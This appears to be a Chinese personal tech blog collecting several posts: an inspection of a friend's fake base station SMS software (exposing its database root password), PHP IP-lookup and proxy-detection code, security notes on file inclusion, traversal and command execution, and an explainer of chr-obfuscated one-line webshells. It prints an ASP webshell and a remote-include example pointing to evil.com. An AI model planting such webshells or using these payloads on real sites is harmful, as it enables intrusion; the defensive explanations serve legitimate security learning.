伪基站程序研究

过年回去,朋友有一套伪基站设备,模拟信号发短信的说发不了短信了,需要重装系统,看了下系统是Ubuntu的,看起来像个客户端发短信,仔细看了下其实是一个web端,用shell调用了谷歌浏览器显示的web界面,看起来真的和客户端是一样的。
shell的路径是/var/usr/gsms.sh, /var/usr/目录下有index.php和set.php其中还有两个项目都是Thinkphp做的,在虚拟机搭建了一个,存在一些小问题,没有进一步研究。喝多了。。。不写了,88。
喝多了,睡不着,继续看看。gsms.sh的内容为 chromium-browser –app=http://localhost/,谷歌浏览器调用的本地回环路径访问的。 名称:GSMS 无线电信号爱好者测试软件,/var/usr/目录下的index.php和set.php调用Thinkphp项目的方法。其中gunradio目录为Thinkphp框架文件,2010年的版本了,openbts为项目路径,Config/config.php配置好数据库文件为:

return array(
‘DB_TYPE’=>’mysql’,
‘DB_HOST’=>’127.0.0.1’,
‘DB_NAME’=>’gsms’,
‘DB_USER’=>’root’,
‘DB_PWD’=>’nb250+38’,
‘DB_PORT’=>’3306’,
‘DB_PREFIX’=>’gsm_’,
‘DB_FIELDS_CACHE’=>false,
‘URL_MODEL’=>0
);
看了下类库中的方法与系统交互性很强,而且返回值还进行了base64_decode加解密,喝多了不研究了,找找茂茂大神咨询下。
 

php获取客户端IP,国家,省份,地区,ISP等信息

php获取客户端IP,国家,省份,地区,ISP等信息,首先获取获取客户端的公网ip,开始本地搭建的环境,本地访问获取到的是127.0.0.1,然后用138的接口可以实现curl模拟客户端访问 http://city.ip138.com/ip2city.asp 可看到真实客户端的ip。

<?php
header('Content-Type:text/html;Charset=utf-8');

//获取ip方法 -- 如果获取不精准可以用第三方获取 http://city.ip138.com/ip2city.asp
function GetIP(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknow";
return($ip);
}
//新浪接口,获取ip所在国家,地域。
function GetIpLookup($ip = ''){
if(empty($ip)){
$ip = GetIp();
}
$res = @file_get_contents('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&ip=' . $ip);
if(empty($res)){ return false; }
$jsonMatches = array();
preg_match('#\{.+?\}#', $res, $jsonMatches);
if(!isset($jsonMatches[0])){ return false; }
$json = json_decode($jsonMatches[0], true);
if(isset($json['ret']) && $json['ret'] == 1){
$json['ip'] = $ip;
unset($json['ret']);
}else{
return false;
}
return $json;
}

$ipInfos = GetIpLookup(); //IP地址
print_r($ipInfos);  //打印数组

//测试url: http://0535code.com/ip.php

读《重燃你的php之火》总结笔记

1.文件包含变量导致远程文件包含
include (“$cfg_dir/site_${site}.php”); //把$cfg_dir 这个路径里的site_${site}.php 包含进来
可以把变量$site 指定远程文件http://evil.com/cmd.gif 去调用,也可以是本地的一个文件
解决方案:
php.ini 里的allow_url_fopen 设为off 禁止远程使用文件
2.文件目录列表
目录列表,下载重要文件
解决方案:
open_base_dir 禁止使用目录列表,或每个目录下都存放一个index.html,推荐第一种解决方案
3.文件操作函数导致源代码泄漏(fopen(),file(),readfile(),openfile())
$articlearray=openfile(“$dbpath/$fid/$tid.php”); //打开$dbpath/$fid 这个路径的$tid.php 文件
$topic_detail=explode(“|”,$articlearray[0]); //用分割符|读出帖子的内容
构造/read.php?fid=123&tid=../index 可以查看上级index.php源代码
fwrite() 写入一句话木马
unlink() 传入任意文件,删除任意文件
解决方案:
过滤特殊字符
4.任意代码执行
eval(),preg_replace(),exec(),system(),popen(),proc_open(),proc_close()
提交可执行代码和系统命令
解决方案:
使用escapeshellarg()或escapeshellcmd()函数过滤
5.特殊字符过滤
../ win路径隐患
..\ win和linux路径隐患
< > 跨站脚本攻击xxs
‘?? 执行系统命令
; | 截断程序流程
6.php的一些安全配置参数

safe_mode_gid = On? //开启安全模式,会禁止系统命令执行函数
register_globals = Off //关闭全局变量,防止变量覆盖漏洞
php_admin_value open_basedir /usr/local/apache/htdocs //限制php文件操作目录为网站根目录
allow_url_fopen = Off //关闭远程文件打开功能,防止include(”)文件包含一句话木马

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
#防止读取任意文件和执行任意命令,限制上传目录权限
open_basedir = “/usr/local/apache/htdocs/” #限制允许操作的父目录
#命令执行漏洞可以用escapeshellcmd()函数过滤传入的命令参数,后再使用,杜绝命令执行漏洞
</Directory>

error_reporting = E_ALL & ~E_NOTICE //屏蔽警告信息
display_errors = On //屏蔽错误信息
log_errors = On? //开启错误日志
error_log = /usr/local/apache/logs/php_error.log //错误日志存放目录
disable_functions = phpinfo, get_cfg_var //禁用一些危险函数可以放在这里
 

PHP判断代理HTTP_X_FORWARDED_FOR

除了正常访问网站以外,还有一种代理模式访问,burpsuite、fiddler等都是通过代理做中间人进行嗅探分析找漏洞,利用漏洞的,前段时间想判断下禁止代理访问,使用HTTP_X_FORWARDED_FOR做判断,通过各种沟通,觉得此方法不可行,没有实际落实,于是自己用php取了下参数,翻阅了下资料,通过分析判断HTTP_X_FORWARDED_FOR是否是使用代理的不靠谱,可以把代理信息去掉再发送,burpsuite就是这样做的,用HTTP_X_FORWARDED_FOR根本判断不出是代理访问的,在发送之前会把相关信息去掉。测试下 fiddle 也是不可以的,通过HTTP_X_FORWARDED_FOR控制的意义就不大了。测试代码如下:

<?
if(!empty($_SERVER['HTTP_VIA']))    //判断使用了代理
{
if(!isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
echo "1:普通匿名代理服务器,代理IP地址为". $_SERVER['REMOTE_ADDR'];
}
else
{
echo "2:透明代理服务器代理,IP地址为".$_SERVER['REMOTE_ADDR'];
echo "2:透明代理服务器,真实ip地址为".$_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
else         //否则判断没有使用代理
{
echo "3:没有代理或者是高匿名代理,真实ip地址为".$_SERVER['REMOTE_ADDR'];
}

之后和新公司同事商议了下解决方案,在传输的过程中增加token,传输的内容全部为密文,实现的原理也类似https。

php变形一句话木马和加密原理

php比较流行的一句话木马很多,甚至老外研究的,一般人都看不懂,今天看到某站中了chr一句话木马,一看就不正常具体就不发代码了,总结下asp,php的chr类型变形一句话木马和加密。
<%eval request(chr(65))%>
这句话用菜刀链接密码就是A,菜刀就是post请求A参数提交任意代码。用burpsuite可以看到菜刀的所有操作,自己也可以把菜刀的代码down下来,自己写一个去。不过没啥意义,还不如直接反编译为自己了,可以装装感觉很厉害的样子。chr里面的数字就是对应的ASCII码,附一份ASCII码表,也可以自己写个工具,翻译出来。

chr(9) tab空格
chr(10) 换行
chr(13) 回车
chr(13)&chr(10) 回车换行
chr(32) 空格符
chr(34) 双引号
chr(39) 单引号
chr(33) !
chr(34) ”
chr(35) #
chr(36) $
chr(37) %
chr(38) &
chr(39) ‘
chr(40) (
chr(41) )
chr(42) *
chr(43) +
chr(44) ,
chr(45) –
chr(46) .
chr(47) /
chr(48) 0
chr(49) 1
chr(50) 2
chr(51) 3
chr(52) 4
chr(53) 5
chr(54) 6
chr(55) 7
chr(56) 8
chr(57) 9
chr(58)
chr(59) ;
chr(60) <
chr(61) =
chr(62) >
chr(63) ?
chr(64) @
chr(65) A
chr(66) B
chr(67) c
chr(68) D
chr(69) E
chr(70) F
chr(71) G
chr(72) H
chr(73) I
chr(74) J
chr(75) K
chr(76) L
chr(77) M
chr(78) N
chr(79) O
chr(80) P
chr(81) Q
chr(82) R
chr(83) S
chr(84) T
chr(85) U
chr(86) V
chr(87) W
chr(88) X
chr(89) Y
chr(90) Z
chr(91) [
chr(92) \
chr(93) ]
chr(94) ^
chr(95) _
chr(96) `
chr(97) a
chr(98) b
chr(99) c
chr(100) d
chr(101) e
chr(102) f
chr(103) g
chr(104) h
chr(105) i
chr(106) j
chr(107) k
chr(108) l
chr(109) m
chr(110) n
chr(111) o
chr(112) p
chr(113) q
chr(114) r
chr(115) s
chr(116) t
chr(117) u
chr(118) v
chr(119) w
chr(120) x
chr(121) y
chr(122) z
chr(123) {
chr(124) |
chr(125) }
还有比这个复杂的密码对应ASCII码表可翻译出来。

然后好多一句话木马看起来不是这样,是用base64做了加密处理,然后在文件中解密,这种加密方式翻转一下就ok。

浏览器URL转码、解码与服务端的通讯

浏览器URL转码与服务端交互原理,在百度搜索“你妹”,是GET提交的转码后的wd参数(%E4%BD%A0%E5%A6%B9),是不是传到服务器需要再次转码呢,如果这样的话,sql注入,直接过滤关键词是行不通的,需要转义后再过滤关键词。写了一个get提交和post请求并且打印,用不同浏览器做了测试。

测试代码如下:

<form method="get" action="test.php">
<input name="test" value="">
<input type="submit" value="GET submit">
</form>
</div>
<?
echo $_GET['test'];
?>
<form method="post" action="test.php">
<input name="body" value="">
<input type="submit" value="POST submit">
</form>
</div>
<?php
echo $_POST["body"];
?>

通过GET和POST提交,用IE浏览器,发现URL被转义,打印出变量确是输入的数据;
通过GET和POST提交,用火狐浏览器,发现URL没转义,打印变量是输入的数据。
通过以上证明是浏览器处理的,HTTP协议处理的,翻阅相关资料是因为是不同浏览器制定的不同的规范,底层是Socket通讯,自动进行了转码和解码。资料的网址是:http://www.cnblogs.com/sunzhenchao/p/3904886.html 资料写的比较专业。

PHP和Python获取网页源代码区别

学习Python用requests库去获取我的网站源代码,获取到的居然是加速乐的防御代码,因为我用加速乐的CDN,然后获取了下乌云网站的,获取乌云的是一片空白,什么都没有,难道Python这么弱么,然后用php获取,php都可以获取到,而且比python代码少,只是Python可以常住内存,PHP就不行了。

php获取页面